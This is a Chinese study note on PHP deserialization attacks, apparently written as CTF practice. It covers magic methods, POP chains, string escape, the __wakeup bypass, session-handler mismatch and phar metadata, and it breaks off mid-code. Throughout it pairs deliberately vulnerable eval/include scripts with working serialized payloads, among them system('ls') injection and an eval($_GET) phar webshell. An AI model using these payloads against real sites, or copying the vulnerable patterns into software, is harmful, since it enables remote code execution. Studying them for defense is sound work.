反序列化学习

声明:该笔记中图片可能加载较慢,请耐心等待

构造函数__construct()

构造函数,在实例化一个对象的时候,首先会去执行的一个方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class User{
public $username;
public function __construct($username){
$this->username = $username;
echo "触发了构造函数一次";
}
}
$test = new User("张三");
$ser = serialize($test);
unserialize($ser);

?>

运行结果
触发时机:实例化对象
功能:提前清理不必要内容
参数:非必要
返回值:

析构函数__destruct()

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。

1
2
3
4
5
6
7
8
9
10
11
<?php
class User{
public function __destruct(){
echo "触发了构造函数一次";
}
}
$test = new User("张三");
$ser = serialize($test);
unserialize($ser);

?>

运行结果
$test = new User("张三");:实例化对象后被销毁触发一次
$ser = serialize($test); 序列化对象成字符串,对象变成了字符串不会被销毁,所以不会触发
unserialize($ser);:反序列成对象后销毁触发一次
例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);

?>

由于反序列后会自动触发__destruct(),所以我们只要控制cmd的值为我们想要执行的语句即可
则传入?benben=O:4:"User":1:{s:3:"cmd";s:13:"system('ls');";}
unserialize()触发__destruct()
__destruct() 执行eval()
eval()触发代码
触发时机:对象引用完成,或对象被销毁
功能:
参数:
返回值:

sleep()

序列化serialize()函数会先检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法位返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。

触发时机:序列化serialize()之前。
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性。
返回值:需要被序列化存储的成员属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
var_dump($user);
echo serialize($user);
?>

运行结果
可以看见创建对象时password是存在的而序列化后的password不见了,这是因为序列化之前触发了__sleep(),而__sleep()只返回了usernamenickname。即__sleep()执行返回需要序列化的变量名,过滤掉不需要的变量。
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:return array
返回值:需要的变量

wakeup()

unserialize()会检查是否存在一个__wakeup()方法。
如果存在,则会先调用__wakeup()方法,预先准备对象所需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

__wakeup()在反序列化unserialize()之前
__destruct()在反序列化unserialize()之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>

user_ser里面只有usernamenickname但是反序列化之前会触发__wakeup()所以password也会被赋值且等于username
运行结果
触发时机:反序列化unserialize()之前。
功能:
参数:
返回值: 包含password的赋值。

__tostring()

触发时机:把对象 当成字符串调用
功能:
参数:
返回值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>

User Object ( [benben] => this is test!! )
格式不对,输出不了!

把类User实体化并赋值给$test,此时$test是个对象,调用对象可以使用print_r或者var_dump正常打印对象输出,如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当初字符串使用,此时自动触发toString()。

__invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben;
?>

this is test!!
它不是个函数!

把类User实体化并赋值给$test为对象,正常输出对象里的值benben,加上()是把test当成函数test()来调用,此时触发invoke()。

__call()

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>

callxxx,a
调用的方法callxxx()不存在,触发魔术方法call()

触发时机:调用一个不存在的方法
功能:
参数:2个参数传参$arg1(名称),$arg2(参数)
返回值: 调用的不存在的方法的名称和参数

__callStatic()

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>

callxxx,a

调用的静态方法callxxx()不存在,触发魔术方法callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在
功能:
参数:2个参数传参$arg1(名称),$arg2(参数)
返回值: 调用的不存在的方法的名称和参数

__get()

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>

var2

调用的成员属性var2不存在,触发get(),把不存在的属性名称var2赋值给$arg1

触发时机:调用的成员属性不存在
功能:
参数:传参$arg1(名称)
返回值:不存在的成员属性的名称

__set()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>

var2,1

给不存在的成员属性var2赋值为1,先触发get(),再触发set()
$arg1,不存在成员属性的名称;$arg2,给不存在的成员属性var2赋的值

触发时机:给不存在的成员属性赋值
功能:
参数:传参$arg1(名称),$arg2(值)
返回值:不存在的成员属性的名称和赋的值

__isset()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>

var

isset()调用的成员属性var不可访问或不存在

触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用
功能:
参数:传参$arg1(名称)
返回值:不存在的成员属性的名称

__unset()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>

var
unset()调用的成员属性var不可访问或不存在触发unset(),返回$arg1,不存在成员属性的名称。

触发时机:对不可访问属性使用unset()
功能:
参数:传参$arg1(名称)
返回值:不存在的成员属性的名称

__clone()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>

__clone test
使用clone()克隆对象完成后,触发魔术方法__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
功能:
参数:
返回值:

POP链前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>

关联点:如何让$test调用evil里的成员方法action()
解题思路:给$test赋值为对象 test = new evil()
1.反序列化unserialize()触发魔术方法destruct()
2.destruct()从$test调用action()

-2.eval()调用$test2
-1.可利用漏洞点在函数eval(),可执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
// public function __destruct(){
// $this->test->action();
// }
}
// class normal {
// public function action(){
// echo "please attack me";
// }
// }
class evil {
var $test2 = "system('ls');";
// public function action(){
// eval($this->test2);
// }
}
$a = new index();
echo serialize($a);
?>

POC:

1
?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system(%27ls%27);";}}

$test赋值实例化对象test = new evil()
此时$a为实例化对象index(),其中成员属性$test=new evil()
$test为实例化对象evil(),成员属性$test=”system(‘ls’);”;

序列化只能序列化成员属性,不序列化成员方法

  1. 构造命令语句
  2. 实例化对象index(),自动调用__construct()

POP链前置知识2

魔术方法触发前提:魔术方法所在类(或对象)被调用
魔术方法触发时机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$a = 'O:3:"sec":1:{s:6:"benben";N;}';
unserialize($a);

?>

反序列化的内容$a所调用的类sec()里不包含__wakeup(),故不会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>

目标:显示”tostring is here!!”

-4 $source = object sec
-3 在echo中的source包含实例化sec()的对象
-2 把sec()实例化成对象后当成字符串输出
-1 需要触发__tostring()

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class fast {
public $source;
}
class sec {
var $benben;

}
$a = new fast();
$b = new sec();
$a->source = $b;
echo serialize($a);
?>

O:4:”fast”:1:{s:6:”source”;O:3:”sec”:1:{s:6:”benben”;N;}}
在对象$a里让source赋值对象$b,在触发wakeup后执行echo从而触发sec里的__tostring

POP链构造及POC构造

POP链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一个漏洞利用方法叫“面向属性编程”,即POP(Property Oriented Programming)。
POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload。
POC编写
POC(全称:Proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了验证提出者的观点的一段代码。

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

-1 目标:触发echo,调用$flag
-2 第一步:触发invoke,调用append,并使$var=flag.php
-3 invoke触发条件:把对象当成函数
-4 把$p赋值为对象,即function成为对象Modifier,却被当成函数调用,触发Modifier中的invoke
-5 触发get方法,(触发条件:调用不存在的成员属性)
-6 给$str赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法get
-7 触发toString(触发条件:把对象当成字符串)
-8 给$source赋值为对象show,当成字符串被echo调用,触发tostring
-9 最终步:触发wakeup(反序列化unserialize)

即当程序反序列化时,触发wakeup,而我们给source赋值为obj Show,所以这里会被Show这个对象当字符串echo,从而触发toString,而toString中的str被我们赋值为obj Test,此时str这个Test对象会调用Test中不存在的source成员属性从而触发get,由于get中p的值赋给了function,所以我们将p的值赋为obj Modifier,所以function就变成了一个对象,而return $function();则把一个对象当作了函数调用,触发Modifier中的invoke,从而调用append方法,我们将var的值设为flag.php,则flag.php被当作append方法的参数传给了value,从而include('flag.php');,然后执行echo $flag,得到我们想要的flag。
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag is in flag.php
class Modifier {
private $var = 'flag.php';
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}
$mod = new Modifier();
$test = new Test();
$test->p=$mod;
$show = new Show();
$show ->source = $show;
$show->str=$test;
echo serialize($show);
?>

payload:

1
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

注意var为private,构造payload时要在类名前后加%00

字符串逃逸基础_减少

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $v1 = "a";
}
echo serialize(new A());
//O:1:"A":1:{s:2:"v1";s:1:"a";}
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
//bool(false)成员属性数量不对
?>

输出信息

1
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}';

将b中成员属性数量改为2则正常执行
若字符串长度不匹配,仍会显示bool(false)

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $v1 = "a\"b";
}
echo serialize(new A());
//O:1:"A":1:{s:2:"v1";s:3:"a"b";}
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}s:2:"v2";N;}';
var_dump(unserialize($b));
//正常执行
?>

"是字符还是格式符号,是由字符串长度3来判断的
在前面字符串没有问题的情况下,;}是反序列化结束符,后面的字符串不影响反序列化的结果
正常是指:成员属性数量一致,成员属性名称长度一致,内容长度一致
属性逃逸
一般在数据先经过serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class A{
public $v1 = "abcsystem()";
public $v2 = '123';
}
$data = serialize(new A());
//$data: "O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}"
$data = str_replace("system()","",$data);
//$data: "O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}"
var_dump(unserialize($data));
//bool(false)
?>

str_replace把”system()”替换为”空”
O:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v2”;s:3:”123”;}
字符串缺失导致格式被破坏,识别11位以后原本应该是"
能否通过修改v2的值“123”达到逃逸效果
O:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v2”;s:3:”123”;}
让前面的代码全部被?吃掉
O:1:”A”:2:{s:2:”v1”;s:?:”abc”;s:2:”v2”;s:3:”123”;}
然后通过修改字符串123补全格式,并使后面的字符串变成功能性代码
O:1:”A”:2:{s:2:”v1”;s:?:”abc”;s:2:”v2”;s:xx:”;s:2:”v3”;N;}
xx的值为我们构造的字符串长度,则前面需要被吃掉20个字符
吃掉一个system()8个,加上abc最少要吃掉3个system(),一共吃掉27个字符,多吃掉7个,所以还需要在v2中补充7个字符
O:1:”A”:2:{s:2:”v1”;s:27:”abcsystem()system()system()“;s:2:”v2”;s:21:”1234567”;s:2:”v3”;N;}“;}
O:1:”A”:2:{s:2:”v1”;s:27:”abc”;s:2:”v2”;s:21:”1234567“;s:2:”v3”;N;}

1
2
3
4
5
6
7
8
9
10
11
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '1234567";s:2:"v3";s:3:"123";}';
}
$data = serialize(new A());
//$data: "O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}"
$data = str_replace("system()","",$data);
//$data: "O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}"
var_dump(unserialize($data));
?>

运行得到结果:
逃逸出v3
由此多逃逸出一个成员属性
使第一个字符串减少,吃掉有效代码,在第二个字符串构造代码

字符串逃逸减少例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
echo file_get_contents("flag.php");
}
?>

目标:判断vip值是否为真
对$param值’user’进行安全性检查,filter把”flag”,”php”替换为”hk”,然后再反序列化

  1. 字符串过来后减少还是增多
  2. 构造出关键成员属性序列化字符串:$vip = ture
  3. 变少则判断吃掉的内容,并计算长度
    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    class test{
    var $user = "flag";
    var $pass = "2js56";
    var $vip = ture ;
    }
    echo serialize(new test());
    ?>
    $user$pass的值先随便设置一下
    1
    O:4:"test":3:{s:4:"user";s:4:"flag<u>";s:4:"pass";s:5:"</u>2js56";s:3:"vip";b:1;}
    flag被替换成hk,字符串减少,吃完";s:4:"pass";s:5:"后,$pass的值2js56可控,字符串逃逸
    目标代码:";s:3:"vip";b:1;},但是又产生了新问题,";s:4:"pass";s:5:"被吃掉后,成员属性就会少一个,所以应该将将值2js56构造为";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}
    所以我们真正要吃掉的字符串为";s:4:"pass";s:xx:",xx是程序根据后面的$pass字符串长度自动生成的,而我们丢进去的长度明显是两位数,所以应该占两个长度。
    flag->hk,吃一次少2个字符,要吃够19位最少要吃10次,多吃一位在后面补,所以最终$pass的值应该是1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;},而在user中传10个flag字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
    }
    class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
    $this->user=$user;
    $this->pass=$pass;
    }
    }
    $param='flagflagflagflagflagflagflagflagflagflag';
    $pass='1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}';
    $param=serialize(new test($param,$pass));
    //O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:41:"1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}";s:3:"vip";b:0;}
    echo filter($param);
    //O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:"1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}";s:3:"vip";b:0;}
    ?>
    payload:
    1
    ?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}

字符串逃逸基础_增多

反序列化字符串增多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $v1 = 'ls';
public $v2 = '123';
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo $data;
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));
//bool(false)
?>

str_replace把”ls”替换为”pwd”
字符增多,会把末尾多出来的字符挤出
思路:把吐出来的字符构造成功能性代码
O:1:”A”:2:{s:2:”v1”;s:xx:”pwd”;s:2:”v3”;s:2:”666”;}”;s:2:”v2”;s:3:”123”;}
吐出";s:2:"v3";s:2:"666";}使结构完整,并且;}可以把反序列化结束掉,不再管后面的原功能性代码,增加的";s:2:"v3";s:2:"666";}一共22位
一个ls转成pwd增加一位字符,所以需要22个ls转成pwd

1
O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:2:"666";}";s:2:"v2";s:3:"123";}
1
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:2:"666";}";s:2:"v2";s:3:"123";}

第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸成员属性

字符串逃逸增多例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

目标:判断是否pass=='escaping'
$_GET['param']获取值给$param,并放在实例化test里作为一个参数,实例化触发__construct赋值给$user
$param值进行安全检查,filter把”flag”,”php”替换为”hack”,然后再反序列化
字符串增多,把有效代码往外吐

  1. 判断字符串过滤后减少还是增多
  2. 构造出关键成员属性序列化字符串
  3. 增多则判断一次吐出来多少个字符
1
2
3
4
5
6
7
<?class test{
var $user='2js56';
//user的值可控
var $pass='escaping';
}
echo serialize(new test());
?>

O:4:”test”:2:{s:4:”user”;s:5:”2js56“;s:4:”pass”;s:8:”escaping”;}
$user的值可控,向里面的字符串塞’php’,则会被替换成’hack’,字符串增多,会吐出字符串变成结构代码,一个’php’吐出一个字符
“;s:4:”pass”;s:8:”escaping”;}
则需要吐出29个字符,所以需要29个php

1
user = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

则经过filter会变为:

1
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

payload:

1
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

wakeup魔术方法绕过

漏洞产生原因:
如果存在__wakeup()方法,调用unserialize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数大于真实的属性个数时,会跳过__wakeup()的执行
版本限制: PHP5-5.6.25,PHP7-7.0.10

1
O:4:"test":2:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}
1
O:4:"test":3:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}

成员属性个数值位3,但后面实际只有v1和v2两个成员属性
例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>

如果$cmd为空,显示源代码
如果不为空,进行正则表达,o:后面不能出现数字
目标:反序列化后,调用__destruct(),把file定义成flag.php输出
__wakeup()在反序列化之前触发,__destruct()在反序列化之后触发,__wakeup()会把file值改成’index.php’

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
class secret{
var $file='flag.php';

}
echo serialize(new secret());
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
?>

将成员属性写成2,就可以跳过__wakeup(),由于正则表达式限制了O:后面不能跟数字,所以加一个+,跳过正则表达式匹配

1
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

这里我们将其urlencode一下,避免+引起的错误
payload:

1
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

引用的利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

最终目的:secret === enter
$a为反序列化$pass后的对象,且赋值secret = “
思路:通过构造$pass的值pass使$enter=

但是怎么样在不输入*的情况下,让$enter值变为*
则构造序列化字符串,让$enter的值引用$secret的值

1
2
3
4
5
6
7
8
9
10
<?php
class just4fun {
var $enter;
var $secret;
}

$a = new just4fun();
$a->enter = &$a->secret;
echo serialize($a);
?>

O:8:”just4fun”:2:{s:5:”enter”;N;s:6:”secret”;R:2;}
R代表引用,2代表enter
相当于secret被enter引用了,而enter相当于是secret的一个别名,所以secret === enter

session反序列化

session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
存储数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致
存储格式

1
2
3
4
<?php
session_start();
$_SESSION['2js56'] = $_GET['lhq'];
?>

?lhq=linghuaqian

1
2js56|s:11:"linghuaqian";

php:键名 + 竖线 + 经过serialize()函数序列化处理的值

声明session存储格式为php_serialize

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['2js56'] = $_GET['lhq'];
$_SESSION['b'] = $_GET['b'];
?>

?lhq=linghuaqian&b=666

1
a:2:{s:5:"2js56";s:8:"linghuaqian";s:1:"b";s:3:"666";}

php_serialize:经过serialize()函数序列化处理的数组
声明session存储格式为php_binary

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['2js56'] = $_GET['lhq'];
$_SESSION['b'] = $_GET['b'];
?>

?lhq=linghuaqian&b=666

1
532js56s:11:"linghuaqian";49bs:3:"666";

PHP session反序列化漏洞:
当网站序列化并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生。
save.php:提交a以php_serialize格式保存

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['lhq'] = $_GET['a'];
?>

构造以下payload:

1
?a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}

此时存储的为:a:1:{s:3:”lhq”;s:39:”|O:1:”D”:1:{s:1:”a”;s:10:”phpinfo();”;}“;}

vul.php:以php格式读取session

1
2
3
4
5
6
7
8
9
10
11
<?php 
ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

所以以php格式读取时会把O:1:”D”:1:{s:1:”a”;s:10:”phpinfo();”;}“;}进行反序列化unserialize(),反序列化触发__destruct(),执行eval()

session反序列化漏洞例题

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

hint.php

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

构造:

1
2
3
4
5
6
7
8
9
10
11
<?php

class Flag{
public $name;
public $her;
}
$a = new Flag();
$a->name = &$a->her;
echo serialize($a);
//O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
?>

payload:

1
?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

phar反序列化

什么是phar?
JAR是开发Java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。
like a Java JAR,but for PHP
PHAR(“Php Archive”)是PHP里类似于JAR的一种打包文件。
对于PHP 5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。
文件包含:phar伪协议,可读取.phar文件。
Phar结构:
stub phar文件标识,格式为xxx<?php xxx;__HALT_COMPiLER();?>;(头部信息)
manifest压缩文件的属性等信息,以序列化存储;
contents压缩文件的内容;
signature签名,放在文件末尾;

Phar漏洞原理:
manifest压缩文件的属性等信息,以序列化存储;存在一段序列化存储的字符串;
调用phar伪协议,可读取.phar文件
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
Phar需要PHP >=5.2在php.ini中将phar.readonly设为off(注意去掉前面的分号)

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Testobj
{
var $output='';
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
